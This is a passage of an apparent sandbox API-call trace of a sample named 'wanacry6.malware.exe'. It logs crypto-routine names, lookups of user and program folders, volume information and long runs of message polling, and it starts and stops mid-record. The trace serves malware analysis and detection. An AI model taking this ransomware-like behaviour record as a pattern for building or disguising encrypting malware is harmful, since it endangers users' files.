cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0039.956] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.956] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0039.956] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.956] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0039.956] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.956] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0039.957] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.957] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0039.957] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.957] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0039.957] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.957] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0039.957] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.957] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0039.957] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.957] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0039.957] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.957] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0039.957] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.957] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0039.957] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.957] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0039.957] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.957] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0039.957] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.957] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0039.957] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.957] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0039.958] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.958] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0039.958] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.958] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0039.958] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0039.958] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0039.958] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0039.958] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0039.958] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0039.958] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0039.958] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0039.958] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0039.958] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0039.958] CharLowerBuffW (in: lpsz="dword", cchLength=0x5 | out: lpsz="dword") returned 0x5 [0039.959] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0039.959] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0039.959] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0039.959] PeekMessageW (in: lpMsg=0xbf60cff260, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff260) returned 0 [0039.959] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.959] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.959] SHGetFolderPathW (in: hwnd=0x0, csidl=43, hToken=0x0, dwFlags=0x0, pszPath=0xbf60cfecc0 | out: pszPath="C:\\Program Files\\Common Files") returned 0x0 [0039.959] GetShortPathNameW (in: lpszLongPath="C:\\Program Files\\Common Files", lpszShortPath=0xbf60cef4a0, cchBuffer=0x7fff | out: lpszShortPath="C:\\PROGRA~1\\COMMON~1") returned 0x14 [0039.960] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.960] SHGetFolderPathW (in: hwnd=0x0, csidl=16, hToken=0x0, dwFlags=0x0, pszPath=0xbf60cfecc0 | out: pszPath="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x0 [0039.960] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop", lpszShortPath=0xbf60cef4a0, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop") returned 0x19 [0039.961] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.961] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0xbf60cfecc0 | out: pszPath="C:\\Program Files") returned 0x0 [0039.961] GetShortPathNameW (in: lpszLongPath="C:\\Program Files", lpszShortPath=0xbf60cef4a0, cchBuffer=0x7fff | out: lpszShortPath="C:\\PROGRA~1") returned 0xb [0039.961] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.961] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp", lpszShortPath=0xbf60cef4a0, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1") returned 0x11 [0039.961] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.961] GetShortPathNameW (in: lpszLongPath="wanacry6.malware.exe", lpszShortPath=0xbf60cef4a0, cchBuffer=0x7fff | out: lpszShortPath="WANACR~1.EXE") returned 0xc [0039.962] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.962] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpszShortPath=0xbf60cef4a0, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE") returned 0x26 [0039.962] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.962] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.962] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0039.962] PeekMessageW (in: lpMsg=0xbf60cfefd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfefd0) returned 0 [0039.962] PeekMessageW (in: lpMsg=0xbf60cfefd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cfefd0) returned 0 [0039.962] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0xbf60cef4e0, nVolumeNameSize=0x7fff, lpVolumeSerialNumber=0xbf60cff508, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0xbf60cff508*=0xba2ee5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0039.963] GetLastError () returned 0x3f0 [0039.963] SetLastError (dwErrCode=0x3f0) [0039.963] GetLastError () returned 0x3f0 [0039.963] SetLastError (dwErrCode=0x3f0) [0039.963] SetErrorMode (uMode=0x0) returned 0x1 [0039.963] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.963] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.964] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.964] QueryPerformanceCounter (in: lpPerformanceCount=0xbf60cff508 | out: lpPerformanceCount=0xbf60cff508*=293615620) returned 1 [0039.964] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.964] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.964] QueryPerformanceCounter (in: lpPerformanceCount=0xbf60cff508 | out: lpPerformanceCount=0xbf60cff508*=293616250) returned 1 [0039.964] QueryPerformanceFrequency (in: lpFrequency=0xbf60cff480 | out: lpFrequency=0xbf60cff480) returned 1 [0039.965] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.965] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.965] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.965] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.965] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.965] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.965] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.966] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.966] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.966] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.966] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.966] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.966] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.966] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.967] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.967] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.967] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.967] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.967] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.967] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.967] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.967] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.968] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.968] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.968] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.968] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.968] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.968] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.968] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.969] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.969] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.969] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.969] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.969] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.969] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.969] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.970] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.970] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.970] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.970] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.970] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.970] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.970] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.970] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.970] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.970] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.970] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.970] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.970] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.970] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.970] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.970] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.970] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.970] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.970] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.970] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.970] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.970] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.970] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.970] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.971] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.971] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.971] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.971] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.971] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.971] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.971] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.971] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.971] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, 